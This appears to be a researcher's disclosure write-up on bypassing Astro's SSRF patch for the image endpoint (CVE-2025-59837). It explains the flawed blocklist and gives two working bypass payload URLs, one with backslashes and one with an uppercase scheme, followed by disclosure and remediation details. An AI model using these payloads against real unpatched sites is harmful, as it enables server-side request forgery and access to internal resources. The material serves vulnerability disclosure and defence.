CVE-2025-59837 Analysis: How I Bypassed an Astro Security Patch

The Failed Fix: A Flawed Validation Logic

The Astro team attempted to mitigate this by implementing a “blocklist” strategy in commit 9ecf359. The patch tried to sanitize inputs by explicitly blocking strings that started with common protocol schemes: http://, https://, and //.

While this prevents the most obvious attacks, it relies on string matching rather than proper URL parsing. This is where the logic crumbled.

1. The Backslash Bypass (My Discovery)

I discovered that the validation logic failed to account for alternative directory separators. While the patch strictly looked for forward slashes (/), many underlying fetch implementations and environments normalize backslashes (\) into forward slashes after the validation step.

I constructed a payload that replaced the protocol slashes with backslashes:

Payload:

https://astro.build/_image?href=\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg

Technical Breakdown:

• Validation Layer: The string starts with \raw.... The validator checks: Does this start with http://? No. Does it start with //? No. The check passes.

• Execution Layer: The server-side fetch operation receives the string. It normalizes \raw... (interpreting the backslash as a root-relative or protocol-relative indicator depending on the environment) or simply corrects the slashes, successfully reaching raw.githubusercontent.com and executing the SSRF.

2. The Case-Sensitivity Bypass (Discovered by GeneralZero)

Shortly after I reported the backslash issue, fellow researcher GeneralZero identified a concurrent failure in the same patch: the validation was case-sensitive.

Payload:

https://astro.build/_image?href=HTTP://raw.githubusercontent.com...

Technical Breakdown: The patch used a strict string comparison (likely .startsWith()). It correctly blocked http:// but allowed HTTP://. According to RFC 3986, URL schemes are case-insensitive, meaning the backend fetch treated HTTP:// as a valid request, completely bypassing the filter.

Real-World Impact: Supply Chain Exposure

The impact of this vulnerability extended far beyond simple websites. Astro is a widely adopted framework in the modern web ecosystem.

During my reconnaissance phase, I identified that this vulnerable library was integrated into the products and digital assets of several high-profile global organizations. This serves as a stark reminder of software supply chain risks, where a flaw in a single dependency can ripple up to enterprise-grade systems.

I responsible disclosed this vulnerability to the security teams of several major firms where I detected the issue, including: Google, Microsoft, Unilever, Porsche, Datadog…

Remediation and Timeline

I reported the bypass on September 17, and the maintainers accepted the report immediately.

• Fix Released: The issue was fully resolved in astro version 5.13.10.

• CVE Assigned: GitHub assigned CVE-2025-59837 to this bypass.

If you are using Astro, specifically the image optimization features, ensure you are running version 5.13.10 or later.